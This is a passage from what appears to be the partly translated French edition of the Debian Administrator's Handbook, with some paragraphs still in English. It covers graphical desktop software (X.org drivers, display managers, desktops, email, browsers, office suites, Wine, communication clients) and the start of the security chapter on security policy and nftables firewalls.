En ce qui concerne la configuration du clavier, elle est désormais indiquée dans /etc/default/keyboard. Ce fichier contrôle la configuration de la console ainsi que celle de l'interface graphique et il est géré par le paquet keyboard-configuration. La configuration de la disposition du clavier est détaillée dans la Section 8.1.2, « Configurer le clavier ».

Le paquet xserver-xorg fournit le serveur X générique exploité par les versions 7.x de X.org. Ce serveur modulaire dispose d'une collection de pilotes pour gérer les différents modèles de carte vidéo. L'installation de xserver-xorg assure que le serveur et au moins un pilote graphique sont installés.

Note that if the detected video card is not handled by any of the available drivers, X.org tries using the vesa and fbdev drivers. VESA is a generic driver that should work everywhere, but with limited capabilities (fewer available resolutions, no hardware acceleration for games and visual effects for the desktop, and so on) while fbdev works on top of the kernel's framebuffer device. Nowadays the X server can run without any administrative privileges (this used to be required to be able to configure the screen) and its log file is then stored in the user's home directory in ~/.local/share/xorg/Xorg.0.log, whereas it is /var/log/Xorg.0.log for X servers started with root privileges and for versions older than Debian 9 Stretch. That log file is where one would look to know what driver is currently in use. For example, the following snippet matches what the intel driver outputs when it is loaded:

(==) Matched nouveau as autoconfigured driver 0

(==) Matched modesetting as autoconfigured driver 1

(==) Matched fbdev as autoconfigured driver 2

(==) Matched vesa as autoconfigured driver 3

(==) Assigned the driver to the xf86ConfigLayout

(II) LoadModule: "intel"

(II) Loading /usr/lib/xorg/modules/drivers/intel_drv.so

(II) Module intel: vendor="X.Org Foundation"

COMPLÉMENTS Pilote propriétaire

Certains fabricants de cartes graphiques (notamment NVIDIA) refusent de donner les spécifications nécessaires à la création de bons pilotes libres. En revanche, ils fournissent des pilotes propriétaires qui permettent malgré tout d'employer leur matériel. Cette politique est à combattre car le pilote fourni — s'il existe — est souvent de moins bonne qualité et surtout ne suit pas les mises à jour de X.org, ce qui peut vous empêcher d'utiliser la dernière version disponible. Nous ne pouvons que vous encourager à boycotter de tels fabricants et à vous tourner vers des concurrents plus coopératifs.

If you still end up with such a card, you will find the required packages in the non-free section: nvidia-driver for NVIDIA cards. It requires a matching kernel module. Building the module can be automated by installing the package nvidia-kernel-dkms (for NVIDIA).

The nouveau project aims to develop a free software driver for NVIDIA cards and is the default driver that you get for those cards in Debian. In general, its feature set and performance do not match the proprietary driver. In the developers' defense, we should mention that the required information can only be gathered by reverse engineering, which makes things difficult. The free drivers for ATI video cards, called radeon and amdgpu, are much better in that regard although it often requires non-free firmware from the firmware-amd-graphics package.

13.2. Personnalisation de l'interface graphique

13.2.1. Choix d'un gestionnaire d'écran (display manager)

The graphical interface only provides display space. Running the X server by itself only leads to an empty screen, which is why most installations use a display manager to display a user authentication screen and start the graphical desktop once the user has authenticated. The three most popular display managers in current use are gdm3 (GNOME Display Manager), sddm (suggested for KDE Plasma) and lightdm (Light Display Manager). More alternatives exist and can be found by searching for the x-display-manager virtual package.

Since the Falcot Corp administrators have opted to use the GNOME desktop environment, they logically picked gdm3 as a display manager too. The /etc/gdm3/daemon.conf configuration file has many options (the list can be found in the /usr/share/gdm/gdm.schemas schema file) to control its behavior while /etc/gdm3/greeter.dconf-defaults contains settings for the greeter “session” (more than just a login window, it is a limited desktop with power management and accessibility related tools). Note that some of the most useful settings for end-users can be tweaked with GNOME's control center.

13.2.2. Choix d'un gestionnaire de fenêtres

Since each graphical desktop provides its own window manager, which window manager you choose is usually influenced by which desktop you have selected. GNOME uses the mutter window manager, Plasma uses kwin, and Xfce (which we present later) has xfwm. The Unix philosophy always allows using one's window manager of choice, but following the recommendations allows an administrator to best take advantage of the integration efforts led by each project.

B.A.-BA Gestionnaire de fenêtres

Le gestionnaire de fenêtres affiche les cadres des fenêtres des différentes applications en cours de fonctionnement, ce qui inclut les bordures et la barre de titre. Il offre donc également les fonctionnalités de réduction, restauration, maximisation et masquage des fenêtres. La plupart des gestionnaires de fenêtres gèrent également un menu qui s'obtient en cliquant d'une certaine manière sur le bureau ; il permet de quitter la session, de démarrer de nouvelles applications et parfois de changer de gestionnaire de fenêtres.

Older computers may, however, have a hard time running heavyweight graphical desktop environments. In these cases, a lighter alternative (search for the x-window-manager virtual package) should be used. “Light” (or small footprint) window managers include WindowMaker (in the wmaker package), afterstep, icewm, blackbox, fluxbox, or openbox. In these cases, the system should be configured so that the appropriate window manager gets precedence; the standard way is to change the x-window-manager alternative with the command update-alternatives --config x-window-manager.

SPÉCIFICITÉ DEBIAN Les choix (alternatives)

La charte Debian définit un certain nombre de commandes standard capables d'effectuer une action prédéfinie. Ainsi, la commande x-window-manager invoque un gestionnaire de fenêtres. Au lieu d'affecter cette commande à un gestionnaire de fenêtres pré-sélectionné, Debian permet à l'administrateur de l'associer au gestionnaire de son choix.

Chaque gestionnaire de fenêtres s'enregistre comme un choix valable pour x-window-manager et fournit une priorité associée. Celle-ci permet de sélectionner automatiquement le meilleur gestionnaire de fenêtres installé en l'absence d'un choix explicite de l'administrateur.

Both the registration of commands and the explicit configuration involve the update-alternatives script. Choosing where a symbolic command points at is a simple matter of running update-alternatives --config symbolic-command. This script creates (and maintains) symbolic links in the /etc/alternatives/ directory, which in turn references the location of the executable. As time passes, packages are installed or removed, and/or the administrator makes explicit changes to the configuration. When a package providing an alternative is removed, the alternative automatically goes to the next best choice among the remaining possible commands.

Toutes les commandes symboliques existantes ne sont pas explicitées par la charte Debian et certains responsables de paquets Debian ont délibérément choisi d'employer ce mécanisme dans d'autres cas moins standards où il apportait une souplesse appréciable (citons par exemple x-www-browser, www-browser, cc, c++, awk, etc.).

13.2.3. Gestion des menus

Modern desktop environments and many window managers provide menus listing the available applications for the user. In order to keep menus up-to-date in relation to the actual set of available applications, each package usually provides a .desktop file in /usr/share/applications. The format of those files has been standardized by FreeDesktop.org:

→ https://specifications.freedesktop.org/desktop-entry-spec/latest/

The applications menus can be further customized by administrators through system-wide configuration files as described by the “Desktop Menu Specification”. End-users can also customize the menus with graphical tools such as kmenuedit (in Plasma), alacarte (in GNOME) or menulibre.

→ https://specifications.freedesktop.org/menu-spec/latest/

HISTOIRE Le système de menus de Debian

Historiquement — bien avant l'apparition des standards FreeDesktop.org — Debian avait inventé son propre système de menus, dans lequel chaque paquet fournissait (dans /usr/share/menu/) une description générique des entrées de menu souhaitées. Cet outil est encore disponible dans Debian (dans le paquet menu), mais il n'a plus qu'une utilité marginale, puisque les responsables de paquets sont encouragés à utiliser plutôt les fichiers .desktop.

13.3. Bureaux graphiques

The free graphical desktop field is dominated by two large software collections: GNOME and Plasma by KDE. Both of them are very popular.

This diversity is rooted in history. Plasma (initially only KDE, which is now the name of the community) was the first graphical desktop project, but it chose the Qt graphical toolkit and that choice wasn't acceptable for a large number of developers. Qt was not free software at the time, and GNOME was started based on the GTK+ toolkit. Qt has since become free software, but the projects still evolved in parallel.

The GNOME and KDE communities still work together: under the FreeDesktop.org umbrella, the projects collaborated in defining standards for interoperability across applications.

Nous ne nous aventurerons pas à répondre à l'épineuse question du choix du bureau graphique : ce chapitre passe rapidement en revue les différentes possibilités et fournit des éléments de réflexion sur le sujet. Il est toujours préférable d'essayer les différentes possibilités avant d'en adopter une.

13.3.1. GNOME

Debian Bullseye includes GNOME version 3.38, which can be installed by a simple apt install gnome (it can also be installed by selecting the “Debian desktop environment” task - task-desktop and task-gnome-desktop).

GNOME is noteworthy for its efforts in usability and accessibility. Design professionals have been involved in writing its standards and recommendations, which has helped developers to create satisfying graphical user interfaces. The project also gets encouragement from the big players of computing, such as Intel, IBM, Oracle, Novell, and of course, various Linux distributions. Finally, many programming languages can be used in developing applications interfacing to GNOME.

Figure 13.1. Le bureau GNOME

For administrators, GNOME seems to be better prepared for massive deployments. Application configuration is handled through the GSettings interface and stores its data in the DConf database. The configuration settings can thus be queried and edited with the gsettings, and dconf command-line tools, or by the dconf-editor graphical user interfaces. The administrator can therefore change users' configuration with a simple script. The GNOME website provides information to guide administrators who manage GNOME workstations:

→ https://help.gnome.org/admin/

13.3.2. KDE and Plasma

Debian Bullseye includes version 5.20 of KDE Plasma, which can be installed with apt install kde-standard (task-kde-desktop).

Plasma has had a rapid evolution based on a very hands-on approach. Its authors quickly got very good results, which allowed them to grow a large user-base. These factors contributed to the overall project quality. Plasma is a mature desktop environment with a wide range of applications.

Figure 13.2. The Plasma desktop

Since the Qt 4.0 release, the last remaining license problem with KDE software has been solved. This version was released under the GPL both for Linux and Windows (the Windows version was previously released under a non-free license). KDE applications are primarily developed using the C++ language.

13.3.3. Xfce et autres

Xfce is a simple and lightweight graphical desktop, which is a perfect match for computers with limited resources. It can be installed with apt install xfce4 (task-xfce-desktop). Like GNOME, Xfce is based on the GTK+ toolkit, and several components are common across both desktops.

Unlike GNOME and Plasma, Xfce does not aim to become a vast project. Beyond the basic components of a modern desktop (file manager, window manager, session manager, a panel for application launchers and so on), it only provides a few specific applications: a terminal, a calendar (orage), an image viewer, a CD/DVD burning tool, a media player (parole), sound volume control and a text editor (mousepad).

→ https://xfce.org/

Figure 13.3. Le bureau Xfce

13.3.4. Other Desktop Environments

LXDE and LXQt are two desktop environments focusing on the “lightweight” aspect. The former is GTK+ based while the latter is Qt based. They can be installed with the lxde (task-lxde-desktop), and lxqt (task-lxqt-desktop) metapackages.

→ https://lxde.org/

→ https://lxqt.org/

Figure 13.4. The LXDE desktop

Figure 13.5. The LXQT desktop

Cinnamon and MATE both started when GNOME 3 moved away from the traditional desktop paradigm, dropping the usual panel and its menu in favor of the new search-based shell. The former reintroduced a panel by forking GNOME Shell and the latter is a continuation of GNOME 2. They can be installed with the cinnamon-desktop-environment (task-cinnamon-desktop) and mate-desktop-environment (task-mate-desktop) meta-packages.

→ https://developer.linuxmint.com/projects/cinnamon-projects.html

→ https://mate-desktop.org/

Figure 13.6. The Cinnamon desktop

Figure 13.7. The MATE desktop

13.4. Courrier électronique

13.4.1. Evolution

COMMUNAUTÉ Les paquets populaires

Installing the popularity-contest package enables participation in an automated survey that informs the Debian project about the most popular packages. A script is run weekly by cron which sends an anonymized list of the installed packages (by HTTP or email) and the latest access date for the files they contain. This allows the Debian maintainers to know which packages are most frequently installed, and of these, how frequently they are actually used.

Ces informations sont extrêmement utiles au projet Debian et lui permettent notamment de savoir quels paquets intégrer sur les premiers disques d'installation. Il lui est aussi possible de vérifier si un paquet est employé ou non avant de décider de le supprimer de la distribution. C'est pourquoi nous vous invitons fortement à installer le paquet popularity-contest et à participer au sondage.

The collected data are made public every day.

→ https://popcon.debian.org/

These statistics can also help users to choose between two packages that seem otherwise equivalent. Choosing the more popular package is probably a safer choice.

Evolution is the GNOME email client and can be installed with apt install evolution. It is more than a simple email client: it also provides a calendar, an address book, a task list, and a memo (free-form note) application. Its email component includes a powerful message indexing system, and allows for the creation of virtual folders based on search queries on all archived messages. In other words, all messages are stored the same way but displayed in a folder-based organization, each folder containing messages that match a set of filtering criteria.

Figure 13.8. Le logiciel de messagerie Evolution

An extension to Evolution allows integration with a Microsoft Exchange email system; the required package is evolution-ews.

13.4.2. KMail

The KDE email software can be installed with apt install kmail. KMail only handles email, but it belongs to a software suite called KDE-PIM (for Personal Information Manager) that includes features such as address books, a calendar component, and so on. KMail has all the features one would expect from an excellent email client.

Figure 13.9. Le logiciel de messagerie KMail

13.4.3. Thunderbird

The thunderbird package provides the email client from the Mozilla software suite. Various localization sets are available in thunderbird-l10n-* packages; the enigmail extension handles message encrypting and signing, but it is not available in all languages.

Figure 13.10. The Thunderbird email software

13.5. Navigateurs web

Epiphany, le navigateur web développé par GNOME, utilise le moteur d'affichage WebKit développé par Apple pour Safari. On le trouve dans le paquet Debian epiphany-browser.

Konqueror, available in the konqueror package, is KDE's web browser (but can also assume the role of a file manager). It uses the KDE-specific KHTML rendering engine; KHTML is an excellent engine, as witnessed by the fact that Apple's WebKit is based on KHTML. KDE also has a newer browser called Falkon, available in the falkon package. It uses the QtWebEngine.

Users not satisfied by any of the above can use Firefox. This browser, available in the firefox-esr package, uses the Mozilla project's Gecko renderer, with a thin and extensible interface on top.

Figure 13.11. The Firefox web browser

VOCABULARY Firefox ESR

Mozilla has a very fast-paced release cycle for Firefox. New releases are published every six to eight weeks and only the latest version is supported for security issues. This doesn't suit all kind of users so, every 10 cycles, they are promoting one of their release to an Extended Support Release (ESR) which will get security updates (and no functional changes) during the next 10 cycles (which covers a bit more than a year).

Debian has both versions packaged. The ESR one, in the package firefox-esr, is used by default since it is the only version suitable for Debian Stable with its long support period (and even there Debian has to upgrade from one ESR release to the next multiple times during a Debian Stable lifecycle). The regular Firefox is available in the firefox package but it is only available to users of Debian Unstable.

CULTURE Iceweasel et Firefox (et les autres)

Before Debian Stretch, Firefox and Thunderbird were missing. The iceweasel package contained Iceweasel, which was basically Firefox under another name.

The rationale behind this renaming was a result of the usage rules imposed by the Mozilla Foundation on the Firefox™ registered trademark: any software named Firefox had to use the official Firefox logo and icons. However, since these elements are not released under a free license, Debian could not distribute them in its main section. Rather than moving the whole browser to non-free, the package maintainer choose to use a different name.

De la même manière, et pour les mêmes raisons, Icedove remplace Thunderbird™ (le logiciel de courrier électronique).

Nowadays, the logo and icons are distributed under a free software license and Mozilla recognized that the changes made by the Debian project are respecting their trademark license so Debian is again able to ship Mozilla's applications under their official name.

CULTURE Mozilla

Netscape Navigator was the standard browser when the web started reaching the masses, but lost ground when Microsoft bundled Internet Explorer with Windows and signed contracts with computer manufacturers which forbade them from pre-installing Netscape Navigator. Faced with this failure, Netscape (the company) decided to “free” its source code, by releasing it under a free license, to give it a second life. This was the beginning of the Mozilla project. After many years of development, the results are more than satisfying: the Mozilla project brought forth an HTML rendering engine (called Gecko) that is among the most standard-compliant. This rendering engine is in particular used by the Mozilla Firefox browser, which is one of the major browsers.

Last but not least, Debian also contains the Chromium web browser (available in the chromium package). This browser is developed by Google and has become the most popular browser in just a few years. Its clear purpose is to make web services more attractive, both by optimizing the browser for performance and by increasing the user's security. The free code that powers Chromium is also used by its proprietary version called Google Chrome™.

13.6. Développement

13.6.1. Outils pour GTK+ sur GNOME

Anjuta (in the anjuta package) and GNOME Builder (in the gnome-builder package) are Integrated Development Environments (IDE) optimized for creating GTK+ applications for GNOME. Glade (in the glade package) is an application designed to create GTK+ graphical interfaces for GNOME and save them in an XML file. These XML files can then be loaded by the GTK+ shared library through its GtkBuilder component to recreate the saved interfaces; such a feature can be interesting, for instance for plugins that require dialogs.

→ https://wiki.gnome.org/Apps/Builder

→ http://anjuta.org/

→ https://glade.gnome.org/

13.6.2. Tools for Qt

The equivalent applications for Qt applications are KDevelop by KDE (in the kdevelop package) for the development environment, and Qt Designer (in the qttools5-dev-tools package) for the design of graphical interfaces for Qt applications.

KDevelop is also a generic IDE and provides plugins for other languages like Python and PHP and different build systems.

13.7. Suites bureautiques

Office software has long been seen as lacking in the free software world. Users require replacements for Microsoft tools such as Word and Excel, but these are so complex that replacements were hard to develop. The situation changed when Sun released the StarOffice code under a free license as OpenOffice, a project which later gave birth to LibreOffice, which is available on Debian. The KDE project also has its own office suite, called Calligra Suite (previously KOffice), and GNOME, while never offering a comprehensive office suite, provides AbiWord as a word processor and Gnumeric as a spreadsheet. The various projects each have their strengths. For instance, the Gnumeric spreadsheet is better than OpenOffice.org/LibreOffice in some domains, notably the precision of its calculations. On the word processing front, the LibreOffice suite still leads the way.

Another important feature for users is the ability to import Microsoft Office documents. Even though all office suites have this feature, only the ones in OpenOffice.org and LibreOffice are functional enough for daily use.

PERSPECTIVE LibreOffice remplace OpenOffice.org

OpenOffice.org contributors set up a foundation (The Document Foundation) to foster the project's development. The idea had been discussed for some time, but the actual trigger was Oracle's acquisition of Sun. The new ownership made the future of OpenOffice under Oracle uncertain. Since Oracle declined to join the foundation, the developers had to give up on the OpenOffice.org name. This office suite is now known as LibreOffice, and is available in Debian.

After a period of relative stagnation on OpenOffice.org, Oracle donated the code and associated rights to the Apache Software Foundation, and OpenOffice is now an Apache project. This project is not currently available in Debian and is rather moribund when compared to LibreOffice.

LibreOffice and Calligra Suite are available in the libreoffice and calligra Debian packages, respectively.

Language-specific packs for LibreOffice are distributed in separate packages, most notably libreoffice-l10n-* and libreoffice-help-*. Some features such as spelling dictionaries, hyphenation patterns and thesauri are in separate packages, such as myspell-*, hunspell-*, hyphen-* and mythes-*.

13.8. L'émulation Windows : Wine

Quels que soient les efforts fournis sur tous les plans précédents, on trouve toujours tel ou tel outil particulier sans équivalent connu sous Linux ou dont il est absolument nécessaire d'employer la version originale. C'est pourquoi les systèmes d'émulation de Windows sont intéressants. C'est précisément le rôle du logiciel Wine.

→ https://www.winehq.org/

COMPLÉMENTS CrossOver Linux

CrossOver, produced by CodeWeavers, is a set of enhancements to Wine that broadens the available set of emulated features to a point at which Microsoft Office becomes fully usable. Some of the enhancements are periodically merged into Wine.

→ https://www.codeweavers.com/products/

Il serait toutefois regrettable de se limiter à son étude, alors même que cette problématique peut être résolue de manière élégante avec d'autres outils comme une machine virtuelle ou bien encore VNC, tous deux présentés dans les encadrés ALTERNATIVE Les machines virtuelles et ALTERNATIVE Windows Terminal Server ou VNC.

Rappelons au passage qu'une émulation permet d'exécuter un programme développé pour un autre système en imitant celui-ci grâce à un logiciel (qui en simule donc les fonctionnalités du mieux qu'il peut à partir des possibilités du système hôte sur lequel il s'exécute).

Installons maintenant les paquets requis (ttf-mscorefonts-installer est dans la section contrib) :

# apt install wine ttf-mscorefonts-installer

Sur un système 64 bits (amd64), si vos applications Windows sont des applications 32 bits, il faudra activer le multi-architecture pour pouvoir installer le paquet wine32 en architecture i386 (voir Section 5.4.5, « Support multi-architecture »).

The user then needs to run winecfg and configure which (Debian) locations are mapped to which (Windows) drives. winecfg has some sane defaults and can auto-detect some more drives; note that even if you have a dual-boot system, you should not point the C: drive at where the Windows partition is mounted in Debian, as Wine is likely to overwrite some of the data on that partition, making Windows unusable. Other settings can be kept to their default values. To run Windows programs, you will first need to install them by running their (Windows) installer under Wine, with a command such as wine .../setup.exe; once the program is installed, you can run it with wine .../program.exe. The exact location of the program.exe file depends on where the C: drive is mapped; in many cases, however, simply running wine program will work, since the program is usually installed in a location where Wine will look for it by itself.

ASTUCE Contourner une erreur de winecfg

In some cases, winecfg (which is just a wrapper) might fail. As a workaround, it is possible to try to run the underlying command manually: wine64 /usr/lib/x86_64-linux-gnu/wine/wine/winecfg.exe.so or wine32 /usr/lib/i386-linux-gnu/wine/wine/winecfg.exe.so.

Avant de compter sur Wine ou des solutions similaires, il faut savoir que rien ne remplace le test réel d'une version d'un logiciel : lui seul assure un fonctionnement satisfaisant avec une solution d'émulation.

ALTERNATIVE Les machines virtuelles

An alternative to emulating Microsoft's operating system is to actually run it in a virtual machine that emulates a full hardware machine. This allows running any operating system. Chapitre 12, Administration avancée describes several virtualization systems, most notably Xen and KVM (but also QEMU, VMWare and VirtualBox).

ALTERNATIVE Windows Terminal Server ou VNC

Une dernière solution est à considérer : les applications Windows à conserver peuvent être installées sur un serveur central Windows Terminal Server et exécutées à distance par des machines Linux employant rdesktop. Ce programme est un client Linux qui comprend le protocole RDP (Remote Desktop Protocol, protocole de bureau distant) employé par Windows NT/2000 Terminal Server pour déporter des bureaux graphiques.

Le logiciel VNC offre des fonctions similaires et fonctionne en outre avec de nombreux systèmes d'exploitation. Les clients et serveurs VNC pour Linux sont traités dans la Section 9.2, « Connexion à distance ».

13.9. Logiciels de communication en temps réel

Debian provides a wide range of Real-Time Communications (RTC) client software. The setup of RTC servers is discussed in Section 11.8, « Services de communication en temps réel ». In SIP (Session Initiation Protocol) terminology, a client application or device is also referred to as a user agent.

Les applications clientes n'ont pas toutes les mêmes fonctionnalités. Certaines sont plus adaptées aux grands utilisateurs de discussions instantanées, alors que d'autres seront plus stables pour les utilisateurs de webcams. Il sera probablement nécessaire de tester plusieurs applications pour identifier celles qui correspondent le mieux aux besoins. Un utilisateur pourra ainsi décider qu'il a besoin de plusieurs applications ; par exemple, une application XMPP pour discuter avec des clients et un logiciel IRC pour collaborer avec des communautés en ligne.

Pour maximiser ses chances de pouvoir communiquer avec le vaste monde, il est recommandé de configurer à la fois SIP et XMPP sur un même client qui supporte les deux protocoles.

The default GNOME desktop suggests the Empathy communications client. Empathy can support both SIP and XMPP. It supports instant messaging (IM), voice and video. The KDE project provides KDE Telepathy, a communications client based on the same underlying Telepathy APIs used by the GNOME Empathy client.

Popular alternatives to Empathy/Telepathy include Ekiga, Linphone, Psi, Jitsi and Jami (formerly known as Ring).

Jitsi requires no client other than a web browser. It support encrypted calls, and there is a huge list of public instances. There is no official Debian package for Jitsi, but it can be downloaded from their official website.

Some of these applications can also interact with mobile users using apps such as Lumicall on Android.

→ https://lumicall.org

Le Guide de démarrage rapide des communications en temps réel dédie un chapitre aux logiciels clients.

→ http://rtcquickstart.org/guide/multi/useragents.html

ASTUCE Préférer les clients qui supportent ICE et TURN

Certains clients RTC ont des difficultés persistantes pour envoyer la voix et la vidéo à travers des pare-feu et des réseaux utilisant la translation d'adresses (Network Address Translation). Parmi les symptômes, on peut lister des appels fantômes (le téléphone sonne mais on n'entend pas le correspondant), ou l'impossibilité totale d'appeler.

Les protocoles ICE et TURN ont été développés pour résoudre ces problèmes. Pour faciliter au maximum la mise en service des clients pour les utilisateurs, il faudra mettre en place un serveur TURN avec une adresse IP publique dans chaque site et utiliser des logiciels clients qui supportent ces deux protocoles.

Le support de ces deux protocoles n'est pas obligatoire si les logiciels clients n'ont vocation qu'à faire de la messagerie instantanée.

ALTERNATIVE Internet Relay Chat

L'IRC peut aussi être considéré, en plus de (ou en remplacement de) SIP et XMPP. Ce service gravite autour de la notion de canaux (dont les noms débutent systématiquement par le signe dièse #) : chaque canal regroupe un ensemble de personnes autour d'un thème ou d'une habitude de groupe. Au besoin, des personnes peuvent converser en privé. Son protocole, plus ancien, n'offre pas la possibilité de sécuriser les échanges de bout en bout — mais il est possible de chiffrer les communications entre les utilisateurs et le serveur en faisant circuler ce protocole à travers SSL.

Les clients IRC, plus difficiles à maîtriser, offrent beaucoup de fonctionnalités peu utiles en entreprise. Les opérateurs sont des utilisateurs dotés du pouvoir d'exclure voire de bannir les utilisateurs indésirables pour préserver le calme au sein du canal.

Since the IRC protocol is very old, many clients are available to cater for many user groups; examples include XChat, and Smuxi (graphical clients based on GTK+), Irssi (text mode), Circe (integrated to Emacs), and so on.

Chapitre 14. Sécurité

Un système d'information a, selon les cas, une importance variable ; parfois, il est vital à la survie d'une entreprise. Il doit donc être protégé en conséquence contre divers risques, ce que l'on regroupe communément sous l'appellation de sécurité.

14.1. Définir une politique de sécurité

ATTENTION Portée de ce chapitre

Security is a vast and very sensitive subject, so we cannot claim to describe it in any kind of comprehensive manner in the course of a single chapter. We will only delineate a few important points and describe some of the tools and methods that can be of use in the security domain. For further reading, literature abounds, and entire books have been devoted to the subject.

Le terme de « sécurité » recouvre une vaste étendue de concepts, d'outils et de procédures, qui ne s'appliquent pas à tous les cas. Il convient de s'interroger sur ce que l'on souhaite accomplir pour choisir lesquels mettre en œuvre. Pour sécuriser un système, il faut se poser quelques questions ; si l'on se lance tête baissée dans la mise en œuvre d'outils, on risque de se focaliser sur certains aspects au détriment des plus importants.

Il est donc crucial de se fixer un but. Pour cela, il s'agit d'apporter des réponses aux questions suivantes :

- Que cherche-t-on à protéger ? La politique de sécurité à mener ne sera pas la même selon que l'on cherche à protéger les ordinateurs ou les données. Et s'il s'agit des données, il faudra également se demander lesquelles.

- Contre quoi cherche-t-on à se protéger ? Est-ce d'un vol de données confidentielles ? De la perte accidentelle de ces données ? De la perte de revenu associée à une interruption de service ?

- Également, de qui cherche-t-on à se protéger ? Les mesures de sécurité à mettre en place différeront largement selon que l'on cherche à se prémunir d'une faute de frappe d'un utilisateur habituel du système ou d'un groupe d'attaquants déterminés.

Il est d'usage d'appeler « risque » la conjonction des trois facteurs : ce qui doit être protégé, ce qu'on souhaite éviter et les éléments qui essaient de faire en sorte que cela arrive. La réunion des réponses à ces trois questions permet de modéliser ce risque. De cette modélisation découlera une politique de sécurité, qui se manifestera à son tour par des actions concrètes.

NOTE Remise en question permanente

Bruce Schneier, un des experts mondialement reconnus en matière de sécurité (pas uniquement informatique, d'ailleurs) lutte contre un des mythes importants de la sécurité par l'expression « La sécurité est un processus, non un produit. » Les actifs à protéger évoluent au fil du temps, de même que les menaces qui pèsent dessus et les moyens dont disposent les attaquants potentiels. Il est donc important, même si une politique de sécurité a été parfaitement conçue et mise en œuvre, de ne pas s'endormir sur ses lauriers. Les composants du risque évoluant, la réponse à apporter à ce risque doit également évoluer à leur suite.

Il faudra enfin prendre en compte les contraintes qui peuvent limiter la liberté d'action. Jusqu'où est-on prêt à aller pour sécuriser le système ? Cette question a un impact majeur et la réponse apportée est trop souvent formulée en seuls termes de coût, alors qu'il faut également se demander jusqu'à quel point la politique de sécurité peut incommoder les utilisateurs du système, ou en dégrader les performances, par exemple.

Une fois que l'on a établi une modélisation du risque dont on cherche à se prémunir, on peut se pencher sur la définition d'une politique de sécurité.

NOTE Politiques extrêmes

Dans certains cas, le choix des actions à mener pour sécuriser un système peut être extrêmement simple.

Par exemple, si le système à protéger se compose exclusivement d'un ordinateur de récupération qu'on n'utilise que pour additionner des chiffres en fin de journée, on peut tout à fait raisonnablement décider de ne rien faire de spécial pour le protéger ; en effet, la valeur intrinsèque du système est faible, celle des données est nulle puisqu'elles ne sont pas stockées sur cet ordinateur et un attaquant potentiel ne gagnerait à s'infiltrer sur ce « système » qu'une calculatrice un peu encombrante. Le coût de la sécurisation d'un tel système dépasserait probablement largement celui du risque.

À l'opposé, si l'on cherche à protéger absolument la confidentialité de données secrètes, au détriment de toute autre considération, une réponse appropriée serait la destruction complète de ces données (avec effacement des fichiers, puis pulvérisation des disques durs, dissolution dans de l'acide, etc.). Si les données doivent de plus être préservées, mais pas nécessairement accessibles, et si le coût n'est pas soumis à des contraintes, on pourra commencer en stockant ces données gravées sur des plaques de platine iridié stockées en divers bunkers répartis sous différentes montagnes dans le monde, chacun étant bien entendu entièrement secret mais gardé par des armées entières…

Extreme though these examples may seem, they would, nevertheless, be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other.

Dans la plupart des cas, on s'apercevra que le système informatique peut être segmenté en sous-ensembles cohérents plus ou moins indépendants. Chacun de ces sous-systèmes pourra avoir ses besoins et ses contraintes propres ; il faudra donc en général les considérer séparément lors de la définition des politiques de sécurité correspondantes. Il conviendra alors de toujours garder à l'esprit le principe selon lequel un périmètre court et bien défini est plus facile à défendre qu'une frontière vague et longue. L'organisation du réseau devra donc être pensée en conséquence, afin que les services les plus sensibles soient concentrés sur un petit nombre de machines et que ces machines ne soient accessibles qu'à travers un nombre minimal de points de passage, plus faciles à sécuriser que s'il faut défendre chacune des machines contre l'intégralité du monde extérieur. On voit clairement apparaître ici l'utilité des solutions de filtrage du trafic réseau, notamment par des pare-feu. On pourra pour cela utiliser du matériel dédié, mais une solution peut-être plus simple et plus souple est d'utiliser un pare-feu logiciel, tel que celui intégré dans le noyau Linux.

14.2. Pare-feu ou filtre de paquets

B.A.-BA Pare-feu

Un pare-feu (firewall) est un ensemble matériel ou logiciel qui trie les paquets qui circulent par son intermédiaire, en provenance ou vers le réseau local, et ne laisse passer que ceux qui vérifient certaines conditions.

Un pare-feu est une passerelle filtrante : il applique des règles de filtrage aux paquets qui le traversent (c'est pourquoi il n'est utile qu'en tant que point de passage obligé).

CAS PARTICULIER Pare-feu local

A firewall can be restricted to one particular machine (as opposed to a complete network), in which case its role is to filter or limit access to some services. It is, however, always better to configure services to not listen on those network interfaces, where these services are not supposed to be offered, or to disable and remove services, which are not to be offered at all, than to use a packet filter to prevent any unwanted access to these services.

Its role can also be to filter or limit connections by rogue or poorly programmed software that a user could, willingly or not, have installed. The reliability of this, however, highly depends on the goal of these actions and the integrity of the system itself. This action is not a measurement to prevent potential threats to send data.

The Linux kernel embeds the netfilter firewall, which can be controlled from user space with the iptables, ip6tables, arptables and ebtables commands.

However, Netfilter iptables commands are being replaced by nftables, which avoids many of its problems. Its design involves less code duplication, and it can be managed with just the nft command. Since Debian Buster, the nftables framework is used by default. The commands mentioned before are provided by versions, which use the nftables kernel API, by default. If one requires the “classic“ commands, the relevant binaries can be adjusted using update-alternatives.

TOOLS fwbuilder and ufw

Although (destined to) being replaced by nftables, iptables is still widely used and suited for many use-cases. Creating a rule requires an invocation of iptables/ip6tables. Typing these commands manually can be tedious, so the calls are usually stored in a script, so that the same configuration is set up automatically every time the machine boots, or they can be made “persistent“ using iptables-persistent.

A script usually needs to be written by hand. But there are, tools that make it simpler to configure the netfilter firewall, with a graphical representation of the filtering rules. fwbuilder is undoubtedly among the best of them. The rules are created with simple drag-and-drop actions on objects (interfaces, networks, ports, servers, etc.). A few contextual menus can change the condition (negating it, for instance). Then the action needs to be chosen and configured.

An alternative to writing and saving/loading the required rules is to use ufw from the package with the same name. This tool is a frontend to iptables as well, but it provides a command line interface only. Simple commands can enable or disable (block) network traffic to and from ports and IP addresses. The configuration files in /etc/ufw/ also allow for complex rule sets (e.g. hooking into the Docker chains), which are then saved and loaded automatically. This tool is often used for simple setups and to block incoming traffic on ports which cannot be assigned to a limited set of interfaces or closed appropriately.

To enable a default firewall in Debian execute:

# apt install -y nftables

Reading package lists... Done

...

# systemctl enable nftables.service

Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/systemd/system/nftables.service.

14.2.1. nftables Behavior

As the kernel is processing a network packet, it pauses and allows us to inspect the packet and decide what to do with that packet. For example, we might want to drop or discard certain incoming packets, modify other packets in various ways, block certain outgoing packets to control against malware or redirect some packets at the earliest possible stage to bridge network interfaces or to spread the load of incoming packets between systems.

A good understanding of the layers 3, 4 and 5 of the OSI (Open Systems Interconnection) model is essential to get the most from netfilter.

CULTURE The OSI model

